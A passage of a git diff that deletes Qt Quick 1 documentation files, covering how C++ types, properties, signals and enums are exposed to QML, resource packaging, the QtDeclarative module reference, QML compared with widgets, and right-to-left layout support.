-instead to create the signal handler: - -\table -\row -\o \snippet doc/src/snippets/declarative/qtbinding/signals-cpp/main.cpp connections -\o \snippet doc/src/snippets/declarative/qtbinding/signals-cpp/MyItem.qml 0 -\endtable - -C++ signals can use enum values as parameters provided that the enum is declared in the -class that is emitting the signal, and that the enum is registered using Q_ENUMS. -See \l {Using enumerations of a custom type} below for details. - - -\section2 Modifying Properties - -Any properties declared in a QML object are automatically accessible from C++. Given a QML item -like this: - -\snippet doc/src/snippets/declarative/qtbinding/properties-qml/MyItem.qml 0 - -The value of the \c someNumber property can be set and read using QDeclarativeProperty, or -QObject::setProperty() and QObject::property(): - -\snippet doc/src/snippets/declarative/qtbinding/properties-qml/main.cpp 0 - -You should always use QObject::setProperty(), QDeclarativeProperty or QMetaProperty::write() to -change a QML property value, to ensure the QML engine is made aware of the property change. For example, -say you have a custom element \c PushButton with a \c buttonText property that internally reflects -the value of a \c m_buttonText member variable. Modifying the member variable directly like this is -not a good idea: - -\badcode -// BAD! -QDeclarativeComponent component(engine, "MyButton.qml"); -PushButton *button = qobject_cast(component.create()); -button->m_buttonText = "Click me"; -\endcode - -Since the value is changed directly, this bypasses Qt's \l{The Meta-Object System}{meta-object system} -and the QML engine is not made aware of the property change. This means property bindings to -\c buttonText would not be updated, and any \c onButtonTextChanged handlers would not be called. - - -\target properties-cpp - -Any \l {The Property System}{Qt properties} - that is, those declared with the Q_PROPERTY() -macro - are accessible from QML. Here is a modified version of the \l {Embedding C++ objects into -QML components}{earlier example} on this page; here, the \c ApplicationData class has a \c backgroundColor -property. This property can be written to and read from QML: - -\table -\row -\o \snippet doc/src/snippets/declarative/qtbinding/properties-cpp/applicationdata.h 0 -\o \snippet doc/src/snippets/declarative/qtbinding/properties-cpp/MyItem.qml 0 -\endtable - -Notice the \c backgroundColorChanged signal is declared as the NOTIFY signal for the -\c backgroundColor property. If a Qt property does not have an associated NOTIFY signal, -the property cannot be used for \l {Property Binding} in QML, as the QML engine would not be -notified when the value changes. If you are using custom types in QML, make sure their -properties have NOTIFY signals so that they can be used in property bindings. - -See \l {Tutorial: Writing QML extensions with C++} for further details and examples -on using Qt properties with QML. - - -\section1 Supported data types - -Any C++ data that is used from QML - whether as custom properties, or parameters for signals or -functions - must be of a type that is recognizable by QML. - -By default, QML recognizes the following data types: - -\list -\o bool -\o unsigned int, int -\o float, double, qreal -\o QString -\o QUrl -\o QColor -\o QDate, QTime, QDateTime -\o QPoint, QPointF -\o QSize, QSizeF -\o QRect, QRectF -\o QVariant -\o QVariantList, QVariantMap -\o QObject* -\o Enumerations declared with Q_ENUMS() -\endlist - -To allow a custom C++ type to be created or used in QML, the C++ class must be registered as a QML -type using qmlRegisterType(), as shown in the \l {Defining new QML elements} section above. - - -\section2 JavaScript Arrays and Objects - -There is built-in support for automatic type conversion between QVariantList and JavaScript -arrays, and QVariantMap and JavaScript objects. - -For example, the function defined in QML below left expects two arguments, an array and an object, and prints -their contents using the standard JavaScript syntax for array and object item access. The C++ code -below right calls this function, passing a QVariantList and a QVariantMap, which are automatically -converted to JavaScript array and object values, repectively: - -\table -\header -\o Type -\o String format -\o Example -\row -\o \snippet doc/src/snippets/declarative/qtbinding/variantlistmap/MyItem.qml 0 -\o \snippet doc/src/snippets/declarative/qtbinding/variantlistmap/main.cpp 0 -\endtable - -This produces output like: - -\code -Array item: 10 -Array item: #00ff00 -Array item: bottles -Object item: language = QML -Object item: released = Tue Sep 21 2010 00:00:00 GMT+1000 (EST) -\endcode - -Similarly, if a C++ type uses a QVariantList or QVariantMap type for a property or method -parameter, the value can be created as a JavaScript array or object in the QML -side, and is automatically converted to a QVariantList or QVariantMap when it is passed to C++. - - -\section2 Using Enumerations of a Custom Type - -To use an enumeration from a custom C++ component, the enumeration must be declared with Q_ENUMS() to -register it with Qt's meta object system. For example, the following C++ type has a \c Status enum: - -\snippet doc/src/snippets/declarative/qtbinding/enums/imageviewer.h start -\snippet doc/src/snippets/declarative/qtbinding/enums/imageviewer.h end - -Providing the \c ImageViewer class has been registered using qmlRegisterType(), its \c Status enum can -now be used from QML: - -\snippet doc/src/snippets/declarative/qtbinding/enums/standalone.qml 0 - -The C++ type must be registered with QML to use its enums. If your C++ type is not instantiable, it -can be registered using qmlRegisterUncreatableType(). To be accessible from QML, the names of enum values -must begin with a capital letter. - -See the \l {Tutorial: Writing QML extensions with C++}{Writing QML extensions with C++} tutorial and -the \l {Extending QML Functionalities using C++} reference documentation for -more information. - - -\section2 Using Enumeration Values as Signal and Method Parameters - -C++ signals may pass enumeration values as signal parameters to QML, providing that the enumeration -and the signal are declared within the same class, or that the enumeration value is one of those declared -in the \l {Qt}{Qt Namespace}. - -Likewise, invokable C++ method parameters may be enumeration values providing -that the enumeration and the method are declared within the same class, or that -the enumeration value is one of those declared in the \l {Qt}{Qt Namespace}. - -Additionally, if a C++ signal with an enum parameter should be connectable to a QML function using the -\l{QML Signal and Handler Event System#Connecting Signals to Methods and Signals}{connect()} -function, the enum type must be registered using qRegisterMetaType(). - -For QML signals, enum values may be used as signal parameters using the \c int type: - -\snippet doc/src/snippets/declarative/qtbinding/enums/standalone.qml 1 - - -\section2 Automatic Type Conversion from Strings - -As a convenience, some basic types can be specified in QML using format strings to make it easier to -pass simple values from QML to C++. - -\table -\header -\o Type -\o String format -\o Example -\row -\o QColor -\o Color name, "#RRGGBB", "#RRGGBBAA" -\o "red", "#ff0000", "#ff000000" -\row -\o QDate -\o "YYYY-MM-DD" -\o "2010-05-31" -\row -\o QPoint -\o "x,y" -\o "10,20" -\row -\o QRect -\o "x,y,WidthxHeight" -\o "50,50,100x100" -\row -\o QSize -\o "WidthxHeight" -\o "100x200" -\row -\o QTime -\o "hh:mm:ss" -\o "14:22:55" -\row -\o QUrl -\o URL string -\o "http://www.example.com" -\row -\o QVector3D -\o "x,y,z" -\o "0,1,0" -\row -\o Enumeration value -\o Enum value name -\o "AlignRight" -\endtable - -(More details on these string formats and types can be found in the -\l {QML Basic Types}{basic type documentation}.) - -These string formats can be used to set QML \c property values and pass arguments to C++ -functions. This is demonstrated by various examples on this page; in the above -\l{#properties-cpp}{Qt properties example}, the \c ApplicationData class has a \c backgroundColor -property of a QColor type, which is set from the QML code with the string "red" rather rather -than an actual QColor object. - -If it is preferred to pass an explicitly-typed value rather than a string, the global -\l{QmlGlobalQtObject}{Qt object} provides convenience functions for creating some of the object -types listed above. For example, \l{QML:Qt::rgba()}{Qt.rgba()} creates a QColor value from four -RGBA values. The QColor returned from this function could be used instead of a string to set -a QColor-type property or to call a C++ function that requires a QColor parameter. - - -\section1 Writing QML plugins - -The Qt Declarative module includes the QDeclarativeExtensionPlugin class, which is an abstract -class for writing QML plugins. This allows QML extension types to be dynamically loaded into -QML applications. - -See the QDeclarativeExtensionPlugin documentation and \l {How to Create Qt Plugins} for more -details. - - -\section1 Managing resource files with the Qt resource system - -The \l {The Qt Resource System}{Qt resource system} allows resource files to be stored as -binary files in an application executable. This can be useful when building a mixed -QML/C++ application as it enables QML files (as well as other resources such as images -and sound files) to be referred to through the resource system URI scheme rather than -relative or absolute paths to filesystem resources. Note, however, that if you use the resource -system, the application executable must be re-compiled whenever a QML source file is changed -in order to update the resources in the package. - -To use the resource system in a mixed QML/C++ application: - -\list -\o Create a \c .qrc \l {The Qt Resource System}{resource collection file} that lists resource - files in XML format -\o From C++, load the main QML file as a resource using the \c :/ prefix or as a URL with the - \c qrc scheme -\endlist - -Once this is done, all files specified by relative paths in QML will be loaded from -the resource system instead. Use of the resource system is completely transparent to -the QML layer; this means all QML code should refer to resource files using relative -paths and should \e not use the \c qrc scheme. This scheme should only be used from -C++ code for referring to resource files. - -Here is a application packaged using the \l {The Qt Resource System}{Qt resource system}. -The directory structure looks like this: - -\code -project - |- example.qrc - |- main.qml - |- images - |- background.png - |- main.cpp - |- project.pro -\endcode - -The \c main.qml and \c background.png files will be packaged as resource files. This is -done in the \c example.qrc resource collection file: - -\quotefile doc/src/snippets/declarative/qtbinding/resources/example.qrc - -Since \c background.png is a resource file, \c main.qml can refer to it using the relative -path specified in \c example.qrc: - -\snippet doc/src/snippets/declarative/qtbinding/resources/main.qml 0 - -To allow QML to locate resource files correctly, the \c main.cpp loads the main QML -file, \c main.qml, as a resource file using the \c qrc scheme: - -\snippet doc/src/snippets/declarative/qtbinding/resources/main.cpp 0 - -Finally \c project.pro uses the RESOURCES variable to indicate that \c example.qrc should -be used to build the application resources: - -\quotefile doc/src/snippets/declarative/qtbinding/resources/resources.pro - -See \l {The Qt Resource System} for more information. - -*/ - - diff --git a/doc/src/qtquick1/qtdeclarative.qdoc b/doc/src/qtquick1/qtdeclarative.qdoc deleted file mode 100644 index 06f0db96e9..0000000000 --- a/doc/src/qtquick1/qtdeclarative.qdoc +++ /dev/null @@ -1,213 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! - \module QtDeclarative - \title Qt Declarative Module - \ingroup modules - - \brief The Qt Declarative module provides a declarative framework - for building highly dynamic, custom user interfaces. - - To include the definitions of the module's classes, use the - following directive: - - \code - #include - \endcode - - To link against the module, add this line to your \l qmake \c - .pro file: - - \code - QT += declarative - \endcode - - For more information on the Qt Declarative module, see the - \l{Qt Quick} documentation. -*/ - - -/*! - \macro QML_DECLARE_TYPE() - \relates QDeclarativeEngine - - Equivalent to \c Q_DECLARE_METATYPE(TYPE *) and \c Q_DECLARE_METATYPE(QDeclarativeListProperty) - - #include to use this macro. -*/ - -/*! - \macro QML_DECLARE_TYPEINFO(Type,Flags) - \relates QDeclarativeEngine - - Declares additional properties of the given \a Type as described by the - specified \a Flags. - - Current the only supported type info is \c QML_HAS_ATTACHED_PROPERTIES which - declares that the \a Type supports \l {Attached Properties}. - - #include to use this macro. -*/ - - -/*! - \fn int qmlRegisterType(const char *uri, int versionMajor, int versionMinor, const char *qmlName) - \relates QDeclarativeEngine - - This template function registers the C++ type in the QML system with - the name \a qmlName, in the library imported from \a uri having the - version number composed from \a versionMajor and \a versionMinor. - - Returns the QML type id. - - There are two forms of this template function: - - \code - template - int qmlRegisterType(const char *uri, int versionMajor, int versionMinor, const char *qmlName); - - template - int qmlRegisterType(const char *uri, int versionMajor, int versionMinor, const char *qmlName); - \endcode - - The former is the standard form which registers the type \e T as a new type. - The latter allows a particular revision of a class to be registered in - a specified version (see \l {QML Type Versioning}). - - - For example, this registers a C++ class \c MySliderItem as a QML type - named \c Slider for version 1.0 of a \l{QML Modules}{module} called - "com.mycompany.qmlcomponents": - - \code - #include - - ... - - qmlRegisterType("com.mycompany.qmlcomponents", 1, 0, "Slider"); - \endcode - - Once this is registered, the type can be used in QML by importing the - specified module name and version number: - - \qml - import com.mycompany.qmlcomponents 1.0 - - Slider { - // ... - } - \endqml - - Note that it's perfectly reasonable for a library to register types to older versions - than the actual version of the library. Indeed, it is normal for the new library to allow - QML written to previous versions to continue to work, even if more advanced versions of - some of its types are available. -*/ - -/*! - \fn int qmlRegisterUncreatableType(const char *uri, int versionMajor, int versionMinor, const char *qmlName, const QString& message) - \relates QDeclarativeEngine - - This template function registers the C++ type in the QML system with - the name \a qmlName, in the library imported from \a uri having the - version number composed from \a versionMajor and \a versionMinor. - - While the type has a name and a type, it cannot be created, and the - given error \a message will result if creation is attempted. - - This is useful where the type is only intended for providing attached properties or enum values. - - Returns the QML type id. - - #include to use this function. - - \sa qmlRegisterTypeNotAvailable() -*/ - -/*! - \fn int qmlRegisterTypeNotAvailable(const char *uri, int versionMajor, int versionMinor, const char *qmlName, const QString& message) - \relates QDeclarativeEngine - - This function registers a type in the QML system with the name \a qmlName, in the library imported from \a uri having the - version number composed from \a versionMajor and \a versionMinor, but any attempt to instantiate the type - will produce the given error \a message. - - Normally, the types exported by a module should be fixed. However, if a C++ type is not available, you should - at least "reserve" the QML type name, and give the user of your module a meaningful error message. - - Returns the QML type id. - - Example: - - \code - #ifdef NO_GAMES_ALLOWED - qmlRegisterTypeNotAvailable("MinehuntCore", 0, 1, "Game", "Get back to work, slacker!"); - #else - qmlRegisterType("MinehuntCore", 0, 1, "Game"); - #endif - \endcode - - This will cause any QML which uses this module and attempts to use the type to produce an error message: - \code - fun.qml: Get back to work, slacker! - Game { - ^ - \endcode - - Without this, a generic "Game is not a type" message would be given. - - #include to use this function. - - \sa qmlRegisterUncreatableType() -*/ - -/*! - \fn int qmlRegisterType() - \relates QDeclarativeEngine - \overload - - This template function registers the C++ type in the QML - system. Instances of this type cannot be created from the QML - system. - - #include to use this function. - - Returns the QML type id. -*/ - -/*! - \fn int qmlRegisterInterface(const char *typeName) - \relates QDeclarativeEngine - - This template function registers the C++ type in the QML system - under the name \a typeName. - - #include to use this function. - - Returns the QML type id. -*/ diff --git a/doc/src/qtquick1/qtprogrammers.qdoc b/doc/src/qtquick1/qtprogrammers.qdoc deleted file mode 100644 index a4dfc15d04..0000000000 --- a/doc/src/qtquick1/qtprogrammers.qdoc +++ /dev/null @@ -1,156 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\page qtprogrammers.html -\inqmlmodule QtQuick 1 -\target qtprogrammers -\title QML for Qt Programmers - -While QML does not require Qt knowledge to use, if you \e are already familiar with Qt, -much of your knowledge is directly relevant to learning and using QML. Of course, -an application with a UI defined in QML also uses Qt for all the non-UI logic. - -\section1 Familiar Concepts - -QML provides direct access to the following concepts from Qt: - -\list - \o QAction - the \l {QML Basic Types}{action} type - \o QObject signals and slots - available as functions to call in JavaScript - \o QObject properties - available as variables in JavaScript - \o QWidget - QDeclarativeView is a QML-displaying widget - \o Qt models - used directly in data binding (QAbstractItemModel) -\endlist - -Qt knowledge is \e required for \l {Extending QML Functionalities using C++}, -and also for \l{Integrating QML Code with existing Qt UI code}. - -\section1 QML Items compared with QWidgets - -QML Items are very similar to QWidgets: they define the look and feel of the user interface. (Note that while QWidgets -haven't traditionally been used to define the look and feel of view delegates, QML Items can be used for this as well.) - -There are three structurally different types of QWidget: - -\list - \o Simple widgets that are not used as parents (QLabel, QCheckBox, QToolButton, etc.) - \o Parent widgets that are normally used as parents to other widgets (QGroupBox, QStackedWidget, QTabWidget, etc.) - \o Compound widgets that are internally composed of child widgets (QComboBox, QSpinBox, QFileDialog, QTabWidget, etc.) -\endlist - -QML Items also serve these purposes. Each is considered separately below. - -\section2 Simple Widgets - -The most important rule to remember while implementing a new QDeclarativeItem in C++ -is that it should not contain any look and feel policies - leave that to the -QML usage of the item. - -As an example, imagine you wanted a reusable Button item. If you therefore -decided to write a QDeclarativeItem subclass to implement a button, -just as QToolButton subclasses QWidget for this purpose, following the rule above, your -\c QDeclarativeButton would not have any appearance - just the notions of enabled, triggering, etc. - -But there is already an object in Qt that does this: QAction. - -QAction is the UI-agnostic essence of QPushButton, QCheckBox, QMenu items, QToolButton, -and other visual widgets that are commonly bound to a QAction. - -So, the job of implementing a checkbox abstraction for QML is already done - it's QAction. -The look and feel of an action - the appearance of the button, the transition between states, -and exactly how it respond to mouse, key, or touch input, should all be left for definition -in QML. - -It is illustrative to note that QDeclarativeTextEdit is built upon QTextControl, -QDeclarativeWebView is built upon QWebPage, and ListView uses QAbstractItemModel, -just as QTextEdit, QWebView, and QListView are built upon -those same UI-agnostic components. - -The encapsulation of the look and feel that QWidgets gives is important, and for this -the QML concept of \l {qdeclarativedocuments.html}{components} serves the same purpose. If you are building a complete -suite of applications which should have a consistent look and feel, you should build -a set of reusable components with the look and feel you desire. - -So, to implement your reusable button, you would simply build a QML component. - - -\section2 Parent Widgets - -Parent widgets each provide a generic way to interface to one or more arbitrary other widgets. -A QTabWidget provides an interface to multiple "pages", one of which is visible at any time, -and a mechanism for selecting among them (the QTabBar). A QScrollArea provides scrollbars around -a widget that is otherwise too large to fit in available space. - -Nearly all such components can be created directly in QML. Only a few cases -which require very particular event handling, such as Flickable, require C++ implementations. - -As an example, imagine you decided to make a generic tab widget item to be used -through your application suite wherever information is in such quantity that it -needs to be divided up into pages. - -A significant difference in the parenting concept with QML compare to QWidgets -is that while child items are positioned relative to their parents, -there is no requirement that they be wholly contained ("clipped") to -the parent (although the clipped property of the child Item does allow -this where it is needed). -This difference has rather far-reaching consequences, for example: - -\list - \o A shadow or highlight around a widget could be a child of that widget. - \o Particle effects can flow outside the object where they originate. - \o Transitioning animations can "hide" items by visibly moving them beyond the screen bounds. -\endlist - - -\section2 Compound Widgets - -Some widgets provide functionality by composing other widgets as an "implementation detail", -providing a higher level API to the composition. QSpinBox for example is a line edit and some -buttons to increase/decrease the edited value. QFileDialog uses a whole host of widgets to -give the user a way of finding and selecting a file name. - -When developing reusable QML Items, you may choose to do the same: build an item composed -of other items you have already defined. - -The only caveat when doing this is to consider the possible animations and transitions that -users of the compound item might wish to employ. For example, a spinbox might need to smoothly -transition from an arbitrary Text item, or characters within a Text item, so your spinbox -item would need to be sufficiently flexible to allow such animation. - -\section1 QML Items Compared With QGraphicsWidgets - -The main difference between QML items and QGraphicsWidgets is how they are intended to be used. The technical implementation details are much the same, but in practice they are different because QML items are made for declarative and compositional use, and QGraphicsWidgets are made for imperative and more integrated use. Both QML items and QGraphicsWidgets inherit from QGraphicsObject, and can co-exist. The differences are in the layouting system and the interfacing with other components. Note that, as QGraphicsWidgets tend more to be all-in-one packages, the equivalent of a QGraphicsWidget may be many QML items composed across several QML files, but it can still be loaded and used as a single QGraphicsObject from C++. - -QGraphicsWidgets are usually designed to be laid out with QGraphicsLayouts. QML does not use QGraphicsLayouts, as the Qt layouts do not mix well with animated and fluid UIs, so the geometry interface is one of the main differences. When writing QML elements, you allow the designers to place their bounding rectangle using absolute geometry, bindings or anchors (all setup for you when you inherit QDeclarativeItem) and you do not use layouts or size hints. If size hints are appropriate, then place them in the QML documentation so that the designers know how to use the item best, but still have complete control over the look and feel. - -The other main difference is that QGraphicsWidgets tend to follow the widget model, in that they are a self-contained bundle of UI and logic. In contrast, QML primitives are usually a single purpose item that does not fulfill a use case on its own, but is composed into the equivalent of the widget inside the QML file. So when writing QML Items, try to avoid doing UI logic or composing visual elements inside the items. Try instead to write more general purpose primitives, so that the look and feel (which involves the UI logic) can be written in QML. - -Both differences are caused by the different method of interaction. QGraphicsWidget is a QGraphicsObject subclass which makes fluid UI development from C++ easier, and QDeclarativeItem is a QGraphicsObject subclass which makes fluid UI development from QML easier. The difference therefore is primarily one of the interface exposed, and the design of the items that come with it (the Declarative primitives for QML and the nothing for QGraphicsWidget, because you need to write your own UI logic into the subclass). - -If you wish to use both QML and C++ to write the UI, for example to ease the transition period, it is recommended to use QDeclarativeItem subclasses (although you can use QGraphicsWidgets as well). To allow for easier use from C++ make the root item of each C++ component a LayoutItem, and load individual 'widgets' of QML (possibly comprised of multiple files, and containing a self-contained bundle of UI and logic) into your scene to replace individual QGraphicsWidgets one at a time. -*/ diff --git a/doc/src/qtquick1/qtquick-intro.qdoc b/doc/src/qtquick1/qtquick-intro.qdoc deleted file mode 100644 index 1d064786c1..0000000000 --- a/doc/src/qtquick1/qtquick-intro.qdoc +++ /dev/null @@ -1,124 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\page qml-intro.html -\inqmlmodule QtQuick 1 -\title Intro to Qt Quick - -Qt Quick is a collection of technologies that are designed to help developers -create the kind of intuitive, modern, and fluid user interfaces that are -increasingly used on mobile phones, media players, set-top boxes, and other -portable devices. Qt Quick consists of a rich set of user interface -\l{QML Elements}{elements}, a \l{QML Syntax}{declarative} language for -describing user interfaces, and a language \l{QtDeclarative Module}{runtime}. A -collection of C++ APIs is used to integrate these high level features with -classic Qt applications. Version 2.1 of the Qt Creator integrated development -environment (IDE) introduces tools for developing Qt Quick applications. - -\image qml-clocks-example.png - -\section1 The QML Language - -QML is a high level, scripted language. Its commands, more correctly -\e elements, leverage the power and efficiency of the Qt libraries to make easy -to use commands that perform intuitive functions. Drawing a rectangle, -displaying an image, and application events -- all are possible with declarative -programming. - -The language also allows more flexibility of these commands by using -\l{About JavaScript}{JavaScript} to implement the high level user interface -logic. - -A QML element usually has various \e properties that help define the element. -For example, if we created an element called Circle then the radius of the -circle would be a property. Building user interfaces by importing these elements -is one of the great feature of QML and Qt Quick. -\image qml-texteditor5_newfile.png - -\section1 QtDeclarative Module - -To make Qt Quick possible, Qt introduces the \l {QtDeclarative} module. The -module creates a JavaScript runtime that QML runs under with a Qt based backend. -Because QtDeclarative and QML are built upon Qt, they inherit many of Qt's -technology, namely the \l{Signals and Slots}{signals and slots} mechanism and -the \l{The Meta-Object System}{meta-object} system. Data created using C++ are -directly accessible from QML and QML objects are also accessible from C++ code. - -In conjunction with the QML language, the QtDeclarative module separates the -interface logic in QML from the application logic in C++. - -\section1 Creator Tools - -Qt Creator is a complete integrated development environment (IDE) for creating -applications with Qt Quick and the Qt application framework. - -\image qmldesigner-visual-editor.png - -The main goal for Qt Creator is meeting the development needs of Qt Quick -developers who are looking for simplicity, usability, productivity, -extendibility and openness, while aiming to lower the barrier of entry for -newcomers to Qt Quick and Qt. The key features of Qt Creator allow UI designers -and developers to accomplish the following tasks: -\list -\o Get started with Qt Quick application development quickly and easily with -examples, tutorials, and project wizards. -\o Design application user interface with the integrated editor, Qt Quick -Designer, or use graphics software to design the user interface and use scripts -to export the design to Qt Quick Designer. -\o Develop applications with the advanced code editor that provides new powerful -features for completing code snippets, refactoring code, and viewing the element -hierarchy of QML files. -\o Build and deploy Qt Quick applications that target multiple desktop and -mobile platforms, such as Microsoft Windows, Mac OS X, Linux, and Maemo. -\o Debug JavaScript functions and execute JavaScript expressions in the current -context, and inspect QML at runtime to explore the object structure, debug -animations, and inspect colors. -\o Deploy applications to mobile devices and create application installation -packages for Maemo devices that can be published in the Ovi Store -and other channels. -\o Easily access information with the integrated context-sensitive Qt Help -system. -\endlist - -\image qtcreator-target-selector.png - -\section1 Where to Go from Here - -The \l {Qt Quick} page has links to various Qt Quick topics such as QML -features, addons, and tools. - -The \l {QML Examples and Demos} page has a gallery of QML applications. - -\section1 License Information -\list -\o \l{Qt Quick Licensing Information} -\endlist -*/ - - - diff --git a/doc/src/qtquick1/qtquick1.qdoc b/doc/src/qtquick1/qtquick1.qdoc deleted file mode 100644 index 682357e20b..0000000000 --- a/doc/src/qtquick1/qtquick1.qdoc +++ /dev/null @@ -1,37 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! - \qmlmodule QtQuick 1 - \title QML Module QtQuick 1 - - \brief The QML Elements - - This QML module contains all the QML elements that are - instantiated as objects of C++ classes in the QtDeclarative - module. - */ diff --git a/doc/src/qtquick1/righttoleft.qdoc b/doc/src/qtquick1/righttoleft.qdoc deleted file mode 100644 index 5cda7cebb1..0000000000 --- a/doc/src/qtquick1/righttoleft.qdoc +++ /dev/null @@ -1,196 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\page qml-righttoleft.html -\inqmlmodule QtQuick 1 -\title QML Right-to-left User Interfaces - -\section1 Overview - -This chapter discusses different approaches and options available for implementing right-to-left -language support for Qt Quick applications. Some common right-to-left languages include Arabic, Hebrew, -Persian and Urdu. Most changes include making sure that text translated to right-to-left languages -is properly aligned to the right, and horizontally ordered content in views, lists and grids flows -correctly from the right to left. - -In right-to-left language speaking cultures, people naturally scan and read graphic elements and text -from the right to left. The general rule of thumb is that content (like photos, videos and maps) is not -mirrored, but positioning of the content (like application layouts and the flow of visual elements) is -mirrored. For example, photos shown in chronological order should flow from right to left, the -low end range of the horizontal sliders should be located at the right side of the slider, and -text lines should should be aligned to the right side of the available text area. The location of visual -elements should not be mirrored when the position is related to a content; for example, when a -position marker is shown to indicate a location on a map. Also, there are some special cases you may -need to take into account where right-to-left language speakers are used to left-to-right -positioning, for example when using number dialers in phones and media play, pause, rewind and -forward buttons in music players. - -\section1 Text Alignment - -(This applies to the \l Text, \l TextInput and \l TextEdit elements.) - -When the horizontal alignment of a text item is not explicitly set, the text element is -automatically aligned to the natural reading direction of the text. By default left-to-right text -like English is aligned to the left side of the text area, and right-to-left text like Arabic is -aligned to the right side of the text area. The alignment of a text element with empty text takes -its alignment cue from \l QInputPanel::inputDirection(), which is based on the active -system locale. - -This default locale-based alignment can be overriden by setting the \c horizontalAlignment -property for the text element, or by enabling layout mirroring using the \l LayoutMirroring attached -property, which causes any explicit left and right horizontal alignments to be mirrored. -Note that when \l LayoutMirroring is set, the \c horizontalAlignment property value remains unchanged; -the effective alignment of the text element that takes the mirroring into account can be read from the -\c effectiveHorizontalAlignment property. - -\snippet doc/src/snippets/declarative/righttoleft.qml 0 - -\section1 Layout direction of positioners and views - -(This applies to the \l Row, \l Grid, \l Flow, \l ListView and \l GridView elements.) - -From Qt Quick 1.1 onwards, elements used for horizontal positioning and model views have gained a \c layoutDirection -property for controlling the horizontal direction of the layouts. Setting \c layoutDirection to -\c Qt.RightToLeft causes items to be laid out from the right to left. By default Qt Quick follows -the left-to-right layout direction. - -The horizontal layout direction can also be reversed through the \l LayoutMirroring attached property. -This causes the effective \c layoutDirection of positioners and views to be mirrored. Note the actual value -of the \c layoutDirection property will remain unchanged; the effective layout direction of positioners and -views that takes the mirroring into account can be read from the \c effectiveLayoutDirection property. - -\snippet doc/src/snippets/declarative/righttoleft.qml 1 - -\section1 Layout mirroring - -The attached property \l LayoutMirroring is provided as a convenience for easily implementing right-to-left -support for existing left-to-right Qt Quick applications. It mirrors the behavior of \l {anchor-layout} -{Item anchors}, the layout direction of \l{Using QML Positioner and Repeater Items}{positioners} and -model views, and the explicit text alignment of QML text elements. - -You can enable layout mirroring for a particular \l Item: - -\snippet doc/src/snippets/declarative/righttoleft.qml 2 - -Or set all child elements to also inherit the layout direction: - -\snippet doc/src/snippets/declarative/righttoleft.qml 3 - -Applying mirroring in this manner does not change the actual value of the relevant anchor, -\c layoutDirection or \c horizontalAlignment properties. The separate read-only property -\c effectiveLayoutDirection can be used to query the effective layout -direction of positioners and model views that takes the mirroring into account. Similarly the \l Text, -\l TextInput and \l TextEdit elements have gained the read-only property \c effectiveHorizontalAlignment -for querying the effective visual alignment of text. For anchors, the read only -\l {Item::anchors.top}{anchors.mirrored} property reflects whether anchors have been mirrored. - -Note that application layouts and animations that are defined using \l {Item::}{x} property values (as -opposed to anchors or positioner elements) are not affected by the \l LayoutMirroring attached property. -Therefore, adding right-to-left support to these types of layouts may require some code changes to your application, -especially in views that rely on both the anchors and x coordinate-based positioning. Here is one way to use -the \l LayoutMirroring attached property to apply mirroring to an item that is positioned using \l {Item::}{x} -coordinates: - -\snippet doc/src/snippets/declarative/righttoleft.qml 4 - -Not all layouts should necessarily be mirrored. There are cases where a visual element is positioned to -the right side of the screen for improved one-handed use, because most people are right-handed, and not -because of the reading direction. In the case that a child element should not be affected by mirroring, -set the \l {LayoutMirroring::enabled}{LayoutMirroring.enabled} property for that element to false. - -Qt Quick is designed for developing animated, fluid user interfaces. When mirroring your application, remember to test that -the animations and transitions continue to work as expected. If you do not have the resources to add -right-to-left support for your application, it may be better to just keep the application layouts left -aligned and just make sure that text is translated and aligned properly. - -\section1 Mirroring icons - -(This applies to \l Image, \l BorderImage and \l AnimatedImage elements.) - -Most images do not need to be mirrored, but some directional icons, such as arrows, may need to be 